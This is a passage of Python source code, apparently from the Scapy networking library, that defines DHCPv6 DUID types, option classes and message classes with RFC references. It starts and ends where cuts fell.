"Experimental Ethernet (3Mb)", 3: "Amateur Radio AX.25", 4: "Proteon ProNET Token Ring", 5: "Chaos", 6: "IEEE 802 Networks", 7: "ARCNET", 8: "Hyperchannel", 9: "Lanstar", 10: "Autonet Short Address", 11: "LocalTalk", 12: "LocalNet (IBM PCNet or SYTEK LocalNET)", 13: "Ultra link", 14: "SMDS", 15: "Frame Relay", 16: "Asynchronous Transmission Mode (ATM)", 17: "HDLC", 18: "Fibre Channel", 19: "Asynchronous Transmission Mode (ATM)", 20: "Serial Line", 21: "Asynchronous Transmission Mode (ATM)", 22: "MIL-STD-188-220", 23: "Metricom", 24: "IEEE 1394.1995", 25: "MAPOS", 26: "Twinaxial", 27: "EUI-64", 28: "HIPARP", 29: "IP and ARP over ISO 7816-3", 30: "ARPSec", 31: "IPsec tunnel", 32: "InfiniBand (TM)", 33: "TIA-102 Project 25 Common Air Interface (CAI)"} class _UTCTimeField(UTCTimeField): def __init__(self, *args, **kargs): epoch_2000 = (2000, 1, 1, 0, 0, 0, 5, 1, 0) # required Epoch UTCTimeField.__init__(self, epoch=epoch_2000, *args, **kargs) class _LLAddrField(MACField): pass # XXX We only support Ethernet addresses at the moment. _LLAddrField # will be modified when needed. Ask us. --arno class DUID_LLT(Packet): # sect 9.2 RFC 3315 name = "DUID - Link-layer address plus time" fields_desc = [ShortEnumField("type", 1, duidtypes), XShortEnumField("hwtype", 1, duidhwtypes), _UTCTimeField("timeval", 0), # i.e. 01 Jan 2000 _LLAddrField("lladdr", ETHER_ANY)] class DUID_EN(Packet): # sect 9.3 RFC 3315 name = "DUID - Assigned by Vendor Based on Enterprise Number" fields_desc = [ShortEnumField("type", 2, duidtypes), IntEnumField("enterprisenum", 311, IANA_ENTERPRISE_NUMBERS), StrField("id", "")] class DUID_LL(Packet): # sect 9.4 RFC 3315 name = "DUID - Based on Link-layer Address" fields_desc = [ShortEnumField("type", 3, duidtypes), XShortEnumField("hwtype", 1, duidhwtypes), _LLAddrField("lladdr", ETHER_ANY)] class DUID_UUID(Packet): # RFC 6355 name = "DUID - Based on UUID" fields_desc = [ShortEnumField("type", 4, duidtypes), UUIDField("uuid", None, uuid_fmt=UUIDField.FORMAT_BE)] duid_cls = {1: "DUID_LLT", 2: "DUID_EN", 3: "DUID_LL", 4: "DUID_UUID"} ##################################################################### # DHCPv6 Options classes # ##################################################################### class _DHCP6OptGuessPayload(Packet): @staticmethod def _just_guess_payload_class(cls, payload): # try to guess what option is in the payload if len(payload) <= 2: return conf.raw_layer opt = struct.unpack("!H", payload[:2])[0] clsname = dhcp6opts_by_code.get(opt, None) if clsname is None: return cls return get_cls(clsname, cls) def guess_payload_class(self, payload): # this method is used in case of all derived classes # from _DHCP6OptGuessPayload in this file return _DHCP6OptGuessPayload._just_guess_payload_class( DHCP6OptUnknown, payload ) class _DHCP6OptGuessPayloadElt(_DHCP6OptGuessPayload): """ Same than _DHCP6OptGuessPayload but made for lists in case of list of different suboptions e.g. in ianaopts in DHCP6OptIA_NA """ @classmethod def dispatch_hook(cls, payload=None, *args, **kargs): return cls._just_guess_payload_class(conf.raw_layer, payload) def extract_padding(self, s): return b"", s class DHCP6OptUnknown(_DHCP6OptGuessPayload): # A generic DHCPv6 Option name = "Unknown DHCPv6 Option" fields_desc = [ShortEnumField("optcode", 0, dhcp6opts), FieldLenField("optlen", None, length_of="data", fmt="!H"), StrLenField("data", "", length_from=lambda pkt: pkt.optlen)] class _DUIDField(PacketField): __slots__ = ["length_from"] def __init__(self, name, default, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from def i2m(self, pkt, i): return raw(i) def m2i(self, pkt, x): cls = conf.raw_layer if len(x) > 4: o = struct.unpack("!H", x[:2])[0] cls = get_cls(duid_cls.get(o, conf.raw_layer), conf.raw_layer) return cls(x) def getfield(self, pkt, s): tmp_len = self.length_from(pkt) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) class DHCP6OptClientId(_DHCP6OptGuessPayload): # RFC 8415 sect 21.2 name = "DHCP6 Client Identifier Option" fields_desc = [ShortEnumField("optcode", 1, dhcp6opts), FieldLenField("optlen", None, length_of="duid", fmt="!H"), _DUIDField("duid", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptServerId(DHCP6OptClientId): # RFC 8415 sect 21.3 name = "DHCP6 Server Identifier Option" optcode = 2 # Should be encapsulated in the option field of IA_NA or IA_TA options # Can only appear at that location. class DHCP6OptIAAddress(_DHCP6OptGuessPayload): # RFC 8415 sect 21.6 name = "DHCP6 IA Address Option (IA_TA or IA_NA suboption)" fields_desc = [ShortEnumField("optcode", 5, dhcp6opts), FieldLenField("optlen", None, length_of="iaaddropts", fmt="!H", adjust=lambda pkt, x: x + 24), IP6Field("addr", "::"), IntEnumField("preflft", 0, {0xffffffff: "infinity"}), IntEnumField("validlft", 0, {0xffffffff: "infinity"}), # last field IAaddr-options is not defined in the # reference document. We copy what wireshark does: read # more dhcp6 options and excpect failures PacketListField("iaaddropts", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen - 24)] def guess_payload_class(self, payload): return conf.padding_layer class DHCP6OptIA_NA(_DHCP6OptGuessPayload): # RFC 8415 sect 21.4 name = "DHCP6 Identity Association for Non-temporary Addresses Option" fields_desc = [ShortEnumField("optcode", 3, dhcp6opts), FieldLenField("optlen", None, length_of="ianaopts", fmt="!H", adjust=lambda pkt, x: x + 12), XIntField("iaid", None), IntField("T1", None), IntField("T2", None), PacketListField("ianaopts", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen - 12)] class DHCP6OptIA_TA(_DHCP6OptGuessPayload): # RFC 8415 sect 21.5 name = "DHCP6 Identity Association for Temporary Addresses Option" fields_desc = [ShortEnumField("optcode", 4, dhcp6opts), FieldLenField("optlen", None, length_of="iataopts", fmt="!H", adjust=lambda pkt, x: x + 4), XIntField("iaid", None), PacketListField("iataopts", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen - 4)] # DHCPv6 Option Request Option # class _OptReqListField(StrLenField): islist = 1 def i2h(self, pkt, x): if x is None: return [] return x def i2len(self, pkt, x): return 2 * len(x) def any2i(self, pkt, x): return x def i2repr(self, pkt, x): s = [] for y in self.i2h(pkt, x): if y in dhcp6opts: s.append(dhcp6opts[y]) else: s.append("%d" % y) return "[%s]" % ", ".join(s) def m2i(self, pkt, x): r = [] while len(x) != 0: if len(x) < 2: warning("Odd length for requested option field. Rejecting last byte") # noqa: E501 return r r.append(struct.unpack("!H", x[:2])[0]) x = x[2:] return r def i2m(self, pkt, x): return b"".join(struct.pack('!H', y) for y in x) # A client may include an ORO in a solicit, Request, Renew, Rebind, # Confirm or Information-request class DHCP6OptOptReq(_DHCP6OptGuessPayload): # RFC 8415 sect 21.7 name = "DHCP6 Option Request Option" fields_desc = [ShortEnumField("optcode", 6, dhcp6opts), FieldLenField("optlen", None, length_of="reqopts", fmt="!H"), # noqa: E501 _OptReqListField("reqopts", [23, 24], length_from=lambda pkt: pkt.optlen)] # DHCPv6 Preference Option # # emise par un serveur pour affecter le choix fait par le client. Dans # les messages Advertise, a priori class DHCP6OptPref(_DHCP6OptGuessPayload): # RFC 8415 sect 21.8 name = "DHCP6 Preference Option" fields_desc = [ShortEnumField("optcode", 7, dhcp6opts), ShortField("optlen", 1), ByteField("prefval", 255)] # DHCPv6 Elapsed Time Option # class _ElapsedTimeField(ShortField): def i2repr(self, pkt, x): if x == 0xffff: return "infinity (0xffff)" return "%.2f sec" % (self.i2h(pkt, x) / 100.) class DHCP6OptElapsedTime(_DHCP6OptGuessPayload): # RFC 8415 sect 21.9 name = "DHCP6 Elapsed Time Option" fields_desc = [ShortEnumField("optcode", 8, dhcp6opts), ShortField("optlen", 2), _ElapsedTimeField("elapsedtime", 0)] # DHCPv6 Authentication Option # # The following fields are set in an Authentication option for the # Reconfigure Key Authentication Protocol: # # protocol 3 # # algorithm 1 # # RDM 0 # # The format of the Authentication information for the Reconfigure Key # Authentication Protocol is: # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Type | Value (128 bits) | # +-+-+-+-+-+-+-+-+ | # . . # . . # . +-+-+-+-+-+-+-+-+ # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # Type Type of data in Value field carried in this option: # # 1 Reconfigure Key value (used in Reply message). # # 2 HMAC-MD5 digest of the message (used in Reconfigure # message). # # Value Data as defined by field. # https://www.iana.org/assignments/auth-namespaces _dhcp6_auth_proto = { 0: "configuration token", 1: "delayed authentication", 2: "delayed authentication (obsolete)", 3: "reconfigure key", } _dhcp6_auth_alg = { 0: "configuration token", 1: "HMAC-MD5", } _dhcp6_auth_rdm = { 0: "use of a monotonically increasing value" } class DHCP6OptAuth(_DHCP6OptGuessPayload): # RFC 8415 sect 21.11 name = "DHCP6 Option - Authentication" fields_desc = [ShortEnumField("optcode", 11, dhcp6opts), FieldLenField("optlen", None, length_of="authinfo", fmt="!H", adjust=lambda pkt, x: x + 11), ByteEnumField("proto", 3, _dhcp6_auth_proto), ByteEnumField("alg", 1, _dhcp6_auth_alg), ByteEnumField("rdm", 0, _dhcp6_auth_rdm), StrFixedLenField("replay", b"\x00" * 8, 8), StrLenField("authinfo", "", length_from=lambda pkt: pkt.optlen - 11)] # DHCPv6 Server Unicast Option # class _SrvAddrField(IP6Field): def i2h(self, pkt, x): if x is None: return "::" return x def i2m(self, pkt, x): return inet_pton(socket.AF_INET6, self.i2h(pkt, x)) class DHCP6OptServerUnicast(_DHCP6OptGuessPayload): # RFC 8415 sect 21.12 name = "DHCP6 Server Unicast Option" fields_desc = [ShortEnumField("optcode", 12, dhcp6opts), ShortField("optlen", 16), _SrvAddrField("srvaddr", None)] # DHCPv6 Status Code Option # dhcp6statuscodes = {0: "Success", # RFC 8415 sect 21.13 1: "UnspecFail", 2: "NoAddrsAvail", 3: "NoBinding", 4: "NotOnLink", 5: "UseMulticast", 6: "NoPrefixAvail"} # From RFC3633 class DHCP6OptStatusCode(_DHCP6OptGuessPayload): # RFC 8415 sect 21.13 name = "DHCP6 Status Code Option" fields_desc = [ShortEnumField("optcode", 13, dhcp6opts), FieldLenField("optlen", None, length_of="statusmsg", fmt="!H", adjust=lambda pkt, x:x + 2), ShortEnumField("statuscode", None, dhcp6statuscodes), StrLenField("statusmsg", "", length_from=lambda pkt: pkt.optlen - 2)] # DHCPv6 Rapid Commit Option # class DHCP6OptRapidCommit(_DHCP6OptGuessPayload): # RFC 8415 sect 21.14 name = "DHCP6 Rapid Commit Option" fields_desc = [ShortEnumField("optcode", 14, dhcp6opts), ShortField("optlen", 0)] # DHCPv6 User Class Option # class _UserClassDataField(PacketListField): def i2len(self, pkt, z): if z is None or z == []: return 0 return sum(len(raw(x)) for x in z) def getfield(self, pkt, s): tmp_len = self.length_from(pkt) lst = [] remain, payl = s[:tmp_len], s[tmp_len:] while len(remain) > 0: p = self.m2i(pkt, remain) if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del(pad.underlayer.payload) else: remain = "" lst.append(p) return payl, lst class USER_CLASS_DATA(Packet): name = "user class data" fields_desc = [FieldLenField("len", None, length_of="data"), StrLenField("data", "", length_from=lambda pkt: pkt.len)] def guess_payload_class(self, payload): return conf.padding_layer class DHCP6OptUserClass(_DHCP6OptGuessPayload): # RFC 8415 sect 21.15 name = "DHCP6 User Class Option" fields_desc = [ShortEnumField("optcode", 15, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="userclassdata"), _UserClassDataField("userclassdata", [], USER_CLASS_DATA, length_from=lambda pkt: pkt.optlen)] # DHCPv6 Vendor Class Option # class _VendorClassDataField(_UserClassDataField): pass class VENDOR_CLASS_DATA(USER_CLASS_DATA): name = "vendor class data" class DHCP6OptVendorClass(_DHCP6OptGuessPayload): # RFC 8415 sect 21.16 name = "DHCP6 Vendor Class Option" fields_desc = [ShortEnumField("optcode", 16, dhcp6opts), FieldLenField("optlen", None, length_of="vcdata", fmt="!H", adjust=lambda pkt, x: x + 4), IntEnumField("enterprisenum", None, IANA_ENTERPRISE_NUMBERS), _VendorClassDataField("vcdata", [], VENDOR_CLASS_DATA, length_from=lambda pkt: pkt.optlen - 4)] # noqa: E501 # DHCPv6 Vendor-Specific Information Option # class VENDOR_SPECIFIC_OPTION(_DHCP6OptGuessPayload): name = "vendor specific option data" fields_desc = [ShortField("optcode", None), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] def guess_payload_class(self, payload): return conf.padding_layer # The third one that will be used for nothing interesting class DHCP6OptVendorSpecificInfo(_DHCP6OptGuessPayload): # RFC 8415 sect 21.17 name = "DHCP6 Vendor-specific Information Option" fields_desc = [ShortEnumField("optcode", 17, dhcp6opts), FieldLenField("optlen", None, length_of="vso", fmt="!H", adjust=lambda pkt, x: x + 4), IntEnumField("enterprisenum", None, IANA_ENTERPRISE_NUMBERS), _VendorClassDataField("vso", [], VENDOR_SPECIFIC_OPTION, length_from=lambda pkt: pkt.optlen - 4)] # noqa: E501 # DHCPv6 Interface-ID Option # # Repasser sur cette option a la fin. Elle a pas l'air d'etre des # masses critique. class DHCP6OptIfaceId(_DHCP6OptGuessPayload): # RFC 8415 sect 21.18 name = "DHCP6 Interface-Id Option" fields_desc = [ShortEnumField("optcode", 18, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="ifaceid"), StrLenField("ifaceid", "", length_from=lambda pkt: pkt.optlen)] # DHCPv6 Reconfigure Message Option # # A server includes a Reconfigure Message option in a Reconfigure # message to indicate to the client whether the client responds with a # renew message or an Information-request message. class DHCP6OptReconfMsg(_DHCP6OptGuessPayload): # RFC 8415 sect 21.19 name = "DHCP6 Reconfigure Message Option" fields_desc = [ShortEnumField("optcode", 19, dhcp6opts), ShortField("optlen", 1), ByteEnumField("msgtype", 11, {5: "Renew Message", 11: "Information Request"})] # DHCPv6 Reconfigure Accept Option # # A client uses the Reconfigure Accept option to announce to the # server whether the client is willing to accept Recoonfigure # messages, and a server uses this option to tell the client whether # or not to accept Reconfigure messages. The default behavior in the # absence of this option, means unwillingness to accept reconfigure # messages, or instruction not to accept Reconfigure messages, for the # client and server messages, respectively. class DHCP6OptReconfAccept(_DHCP6OptGuessPayload): # RFC 8415 sect 21.20 name = "DHCP6 Reconfigure Accept Option" fields_desc = [ShortEnumField("optcode", 20, dhcp6opts), ShortField("optlen", 0)] class DHCP6OptSIPDomains(_DHCP6OptGuessPayload): # RFC3319 name = "DHCP6 Option - SIP Servers Domain Name List" fields_desc = [ShortEnumField("optcode", 21, dhcp6opts), FieldLenField("optlen", None, length_of="sipdomains"), DomainNameListField("sipdomains", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptSIPServers(_DHCP6OptGuessPayload): # RFC3319 name = "DHCP6 Option - SIP Servers IPv6 Address List" fields_desc = [ShortEnumField("optcode", 22, dhcp6opts), FieldLenField("optlen", None, length_of="sipservers"), IP6ListField("sipservers", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptDNSServers(_DHCP6OptGuessPayload): # RFC3646 name = "DHCP6 Option - DNS Recursive Name Server" fields_desc = [ShortEnumField("optcode", 23, dhcp6opts), FieldLenField("optlen", None, length_of="dnsservers"), IP6ListField("dnsservers", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptDNSDomains(_DHCP6OptGuessPayload): # RFC3646 name = "DHCP6 Option - Domain Search List option" fields_desc = [ShortEnumField("optcode", 24, dhcp6opts), FieldLenField("optlen", None, length_of="dnsdomains"), DomainNameListField("dnsdomains", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptIAPrefix(_DHCP6OptGuessPayload): # RFC 8415 sect 21.22 name = "DHCP6 Option - IA Prefix option" fields_desc = [ShortEnumField("optcode", 26, dhcp6opts), FieldLenField("optlen", None, length_of="iaprefopts", adjust=lambda pkt, x: x + 25), IntEnumField("preflft", 0, {0xffffffff: "infinity"}), IntEnumField("validlft", 0, {0xffffffff: "infinity"}), ByteField("plen", 48), # TODO: Challenge that default value # See RFC 8168 IP6Field("prefix", "2001:db8::"), # At least, global and won't hurt # noqa: E501 # We copy what wireshark does: read more dhcp6 options and # expect failures PacketListField("iaprefopts", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen - 25)] class DHCP6OptIA_PD(_DHCP6OptGuessPayload): # RFC 8415 sect 21.21 name = "DHCP6 Option - Identity Association for Prefix Delegation" fields_desc = [ShortEnumField("optcode", 25, dhcp6opts), FieldLenField("optlen", None, length_of="iapdopt", fmt="!H", adjust=lambda pkt, x: x + 12), XIntField("iaid", None), IntField("T1", None), IntField("T2", None), PacketListField("iapdopt", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen - 12)] class DHCP6OptNISServers(_DHCP6OptGuessPayload): # RFC3898 name = "DHCP6 Option - NIS Servers" fields_desc = [ShortEnumField("optcode", 27, dhcp6opts), FieldLenField("optlen", None, length_of="nisservers"), IP6ListField("nisservers", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptNISPServers(_DHCP6OptGuessPayload): # RFC3898 name = "DHCP6 Option - NIS+ Servers" fields_desc = [ShortEnumField("optcode", 28, dhcp6opts), FieldLenField("optlen", None, length_of="nispservers"), IP6ListField("nispservers", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptNISDomain(_DHCP6OptGuessPayload): # RFC3898 name = "DHCP6 Option - NIS Domain Name" fields_desc = [ShortEnumField("optcode", 29, dhcp6opts), FieldLenField("optlen", None, length_of="nisdomain"), DNSStrField("nisdomain", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptNISPDomain(_DHCP6OptGuessPayload): # RFC3898 name = "DHCP6 Option - NIS+ Domain Name" fields_desc = [ShortEnumField("optcode", 30, dhcp6opts), FieldLenField("optlen", None, length_of="nispdomain"), DNSStrField("nispdomain", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptSNTPServers(_DHCP6OptGuessPayload): # RFC4075 name = "DHCP6 option - SNTP Servers" fields_desc = [ShortEnumField("optcode", 31, dhcp6opts), FieldLenField("optlen", None, length_of="sntpservers"), IP6ListField("sntpservers", [], length_from=lambda pkt: pkt.optlen)] IRT_DEFAULT = 86400 IRT_MINIMUM = 600 class DHCP6OptInfoRefreshTime(_DHCP6OptGuessPayload): # RFC4242 name = "DHCP6 Option - Information Refresh Time" fields_desc = [ShortEnumField("optcode", 32, dhcp6opts), ShortField("optlen", 4), IntField("reftime", IRT_DEFAULT)] # One day class DHCP6OptBCMCSDomains(_DHCP6OptGuessPayload): # RFC4280 name = "DHCP6 Option - BCMCS Domain Name List" fields_desc = [ShortEnumField("optcode", 33, dhcp6opts), FieldLenField("optlen", None, length_of="bcmcsdomains"), DomainNameListField("bcmcsdomains", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptBCMCSServers(_DHCP6OptGuessPayload): # RFC4280 name = "DHCP6 Option - BCMCS Addresses List" fields_desc = [ShortEnumField("optcode", 34, dhcp6opts), FieldLenField("optlen", None, length_of="bcmcsservers"), IP6ListField("bcmcsservers", [], length_from=lambda pkt: pkt.optlen)] _dhcp6_geoconf_what = { 0: "DHCP server", 1: "closest network element", 2: "client" } class DHCP6OptGeoConfElement(Packet): fields_desc = [ByteField("CAtype", 0), FieldLenField("CAlength", None, length_of="CAvalue"), StrLenField("CAvalue", "", length_from=lambda pkt: pkt.CAlength)] class DHCP6OptGeoConf(_DHCP6OptGuessPayload): # RFC 4776 name = "DHCP6 Option - Civic Location" fields_desc = [ShortEnumField("optcode", 36, dhcp6opts), FieldLenField("optlen", None, length_of="ca_elts", adjust=lambda x: x + 3), ByteEnumField("what", 2, _dhcp6_geoconf_what), StrFixedLenField("country_code", "FR", 2), PacketListField("ca_elts", [], DHCP6OptGeoConfElement, length_from=lambda pkt: pkt.optlen - 3)] # TODO: see if we encounter opaque values from vendor devices class DHCP6OptRemoteID(_DHCP6OptGuessPayload): # RFC4649 name = "DHCP6 Option - Relay Agent Remote-ID" fields_desc = [ShortEnumField("optcode", 37, dhcp6opts), FieldLenField("optlen", None, length_of="remoteid", adjust=lambda pkt, x: x + 4), IntEnumField("enterprisenum", None, IANA_ENTERPRISE_NUMBERS), StrLenField("remoteid", "", length_from=lambda pkt: pkt.optlen - 4)] class DHCP6OptSubscriberID(_DHCP6OptGuessPayload): # RFC4580 name = "DHCP6 Option - Subscriber ID" fields_desc = [ShortEnumField("optcode", 38, dhcp6opts), FieldLenField("optlen", None, length_of="subscriberid"), # subscriberid default value should be at least 1 byte long # but we don't really care StrLenField("subscriberid", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptClientFQDN(_DHCP6OptGuessPayload): # RFC4704 name = "DHCP6 Option - Client FQDN" fields_desc = [ShortEnumField("optcode", 39, dhcp6opts), FieldLenField("optlen", None, length_of="fqdn", adjust=lambda pkt, x: x + 1), BitField("res", 0, 5), FlagsField("flags", 0, 3, "SON"), DNSStrField("fqdn", "", length_from=lambda pkt: pkt.optlen - 1)] class DHCP6OptPanaAuthAgent(_DHCP6OptGuessPayload): # RFC5192 name = "DHCP6 PANA Authentication Agent Option" fields_desc = [ShortEnumField("optcode", 40, dhcp6opts), FieldLenField("optlen", None, length_of="paaaddr"), IP6ListField("paaaddr", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptNewPOSIXTimeZone(_DHCP6OptGuessPayload): # RFC4833 name = "DHCP6 POSIX Timezone Option" fields_desc = [ShortEnumField("optcode", 41, dhcp6opts), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptNewTZDBTimeZone(_DHCP6OptGuessPayload): # RFC4833 name = "DHCP6 TZDB Timezone Option" fields_desc = [ShortEnumField("optcode", 42, dhcp6opts), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptRelayAgentERO(_DHCP6OptGuessPayload): # RFC4994 name = "DHCP6 Option - RelayRequest Option" fields_desc = [ShortEnumField("optcode", 43, dhcp6opts), FieldLenField("optlen", None, length_of="reqopts", fmt="!H"), _OptReqListField("reqopts", [23, 24], length_from=lambda pkt: pkt.optlen)] class DHCP6OptLQClientLink(_DHCP6OptGuessPayload): # RFC5007 name = "DHCP6 Client Link Option" fields_desc = [ShortEnumField("optcode", 48, dhcp6opts), FieldLenField("optlen", None, length_of="linkaddress"), IP6ListField("linkaddress", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptBootFileUrl(_DHCP6OptGuessPayload): # RFC5970 name = "DHCP6 Boot File URL Option" fields_desc = [ShortEnumField("optcode", 59, dhcp6opts), FieldLenField("optlen", None, length_of="optdata"), StrLenField("optdata", "", length_from=lambda pkt: pkt.optlen)] class DHCP6OptClientArchType(_DHCP6OptGuessPayload): # RFC5970 name = "DHCP6 Client System Architecture Type Option" fields_desc = [ShortEnumField("optcode", 61, dhcp6opts), FieldLenField("optlen", None, length_of="archtypes", fmt="!H"), FieldListField("archtypes", [], ShortField("archtype", 0), length_from=lambda pkt: pkt.optlen)] class DHCP6OptClientNetworkInterId(_DHCP6OptGuessPayload): # RFC5970 name = "DHCP6 Client Network Interface Identifier Option" fields_desc = [ShortEnumField("optcode", 62, dhcp6opts), ShortField("optlen", 3), ByteField("iitype", 0), ByteField("iimajor", 0), ByteField("iiminor", 0)] class DHCP6OptERPDomain(_DHCP6OptGuessPayload): # RFC6440 name = "DHCP6 Option - ERP Domain Name List" fields_desc = [ShortEnumField("optcode", 65, dhcp6opts), FieldLenField("optlen", None, length_of="erpdomain"), DomainNameListField("erpdomain", [], length_from=lambda pkt: pkt.optlen)] class DHCP6OptRelaySuppliedOpt(_DHCP6OptGuessPayload): # RFC6422 name = "DHCP6 Relay-Supplied Options Option" fields_desc = [ShortEnumField("optcode", 66, dhcp6opts), FieldLenField("optlen", None, length_of="relaysupplied", fmt="!H"), PacketListField("relaysupplied", [], _DHCP6OptGuessPayloadElt, length_from=lambda pkt: pkt.optlen)] # Virtual Subnet selection class DHCP6OptVSS(_DHCP6OptGuessPayload): # RFC6607 name = "DHCP6 Option - Virtual Subnet Selection" fields_desc = [ShortEnumField("optcode", 68, dhcp6opts), FieldLenField("optlen", None, length_of="data", adjust=lambda pkt, x: x + 1), ByteField("type", 255), # Default Global/default table StrLenField("data", "", length_from=lambda pkt: pkt.optlen)] # "Client link-layer address type. The link-layer type MUST be a valid hardware # noqa: E501 # type assigned by the IANA, as described in [RFC0826] class DHCP6OptClientLinkLayerAddr(_DHCP6OptGuessPayload): # RFC6939 name = "DHCP6 Option - Client Link Layer address" fields_desc = [ShortEnumField("optcode", 79, dhcp6opts), FieldLenField("optlen", None, length_of="clladdr", adjust=lambda pkt, x: x + 2), ShortField("lltype", 1), # ethernet _LLAddrField("clladdr", ETHER_ANY)] ##################################################################### # DHCPv6 messages # ##################################################################### # Some state parameters of the protocols that should probably be # useful to have in the configuration (and keep up-to-date) DHCP6RelayAgentUnicastAddr = "" DHCP6RelayHopCount = "" DHCP6ServerUnicastAddr = "" DHCP6ClientUnicastAddr = "" DHCP6ClientIA_TA = "" DHCP6ClientIA_NA = "" DHCP6ClientIAID = "" T1 = "" # Voir 2462 T2 = "" # Voir 2462 DHCP6ServerDUID = "" DHCP6CurrentTransactionID = "" # devrait etre utilise pour matcher une # reponse et mis a jour en mode client par une valeur aleatoire pour # laquelle on attend un retour de la part d'un serveur. DHCP6PrefVal = "" # la valeur de preference a utiliser dans # les options preference # Emitted by : # - server : ADVERTISE, REPLY, RECONFIGURE, RELAY-REPL (vers relay) # - client : SOLICIT, REQUEST, CONFIRM, RENEW, REBIND, RELEASE, DECLINE, # INFORMATION REQUEST # - relay : RELAY-FORW (toward server) ##################################################################### # DHCPv6 messages sent between Clients and Servers (types 1 to 11) # Comme specifie en section 15.1 de la RFC 3315, les valeurs de # transaction id sont selectionnees de maniere aleatoire par le client # a chaque emission et doivent matcher dans les reponses faites par # les clients class DHCP6(_DHCP6OptGuessPayload): name = "DHCPv6 Generic Message" fields_desc = [ByteEnumField("msgtype", None, dhcp6types), X3BytesField("trid", 0x000000)] overload_fields = {UDP: {"sport": 546, "dport": 547}} def hashret(self): return struct.pack("!I", self.trid)[1:4] # DHCPv6 Relay Message Option # # Relayed message is seen as a payload. class DHCP6OptRelayMsg(_DHCP6OptGuessPayload): # RFC 8415 sect 21.10 name = "DHCP6 Relay Message Option" fields_desc = [ShortEnumField("optcode", 9, dhcp6opts), FieldLenField("optlen", None, fmt="!H", length_of="message"), PacketLenField("message", DHCP6(), _dhcp6_dispatcher, length_from=lambda p: p.optlen)] ##################################################################### # Solicit Message : sect 17.1.1 RFC3315 # - sent by client # - must include a client identifier option # - the client may include IA options for any IAs to which it wants the # server to assign address # - The client use IA_NA options to request the assignment of # non-temporary addresses and uses IA_TA options to request the # assignment of temporary addresses # - The client should include an Option Request option to indicate the # options the client is interested in receiving (eventually # including hints) # - The client includes a Reconfigure Accept option if is willing to # accept Reconfigure messages from the server. # Le cas du send and reply est assez particulier car suivant la # presence d'une option rapid commit dans le solicit, l'attente # s'arrete au premier message de reponse recu ou alors apres un # timeout. De la meme maniere, si un message Advertise arrive avec une # valeur de preference de 255, il arrete l'attente et envoie une # Request. # - The client announces its intention to use DHCP authentication by # including an Authentication option in its solicit message. The # server selects a key for the client based on the client's DUID. The # client and server use that key to authenticate all DHCP messages # exchanged during the session class DHCP6_Solicit(DHCP6): name = "DHCPv6 Solicit Message" msgtype = 1 overload_fields = {UDP: {"sport": 546, "dport": 547}} ##################################################################### # Advertise Message # - sent by server # - Includes a server identifier option # - Includes a client identifier option # - the client identifier option must match the client's DUID # - transaction ID must match class DHCP6_Advertise(DHCP6): name = "DHCPv6 Advertise Message" msgtype = 2 overload_fields = {UDP: {"sport": 547, "dport": 546}} def answers(self, other): return (isinstance(other, DHCP6_Solicit) and other.msgtype == 1 and self.trid == other.trid) ##################################################################### # Request Message # - sent by clients # - includes a server identifier option # - the content of Server Identifier option must match server's DUID # - includes a client identifier option # - must include an ORO Option (even with hints) p40 # - can includes a reconfigure Accept option indicating whether or # not the client is willing to accept Reconfigure messages from # the server (p40) # - When the server receives a Request message via unicast from a # client to which the server has not sent a unicast option, the server # discards the Request message and responds with a Reply message # containing Status Code option with the value UseMulticast, a Server # Identifier Option containing the server's DUID, the client # Identifier option from the client message and no other option. class DHCP6_Request(DHCP6): name = "DHCPv6 Request Message" msgtype = 3 ##################################################################### # Confirm Message # - sent by clients # - must include a client identifier option # - When the server receives a Confirm Message, the server determines # whether the addresses in the Confirm message are appropriate for the # link to which the client is attached. cf p50 class DHCP6_Confirm(DHCP6): name = "DHCPv6 Confirm Message" msgtype = 4 ##################################################################### # Renew Message # - sent by clients # - must include a server identifier option # - content of server identifier option must match the server's identifier # - must include a client identifier option # - the clients includes any IA assigned to the interface that may # have moved to a new link, along with the addresses associated with # those IAs in its confirm messages # - When the server receives a Renew message that contains an IA # option from a client, it locates the client's binding and verifies # that the information in the IA from the client matches the # information for that client. If the server cannot find a client # entry for the IA the server returns the IA containing no addresses # with a status code option est to NoBinding in the Reply message. cf # p51 pour le reste. class DHCP6_Renew(DHCP6): name = "DHCPv6 Renew Message" msgtype = 5 ##################################################################### # Rebind Message # - sent by clients # - must include a client identifier option # cf p52 class DHCP6_Rebind(DHCP6): name = "DHCPv6 Rebind Message" msgtype = 6 ##################################################################### # Reply Message # - sent by servers # - the message must include a server identifier option # - transaction-id field 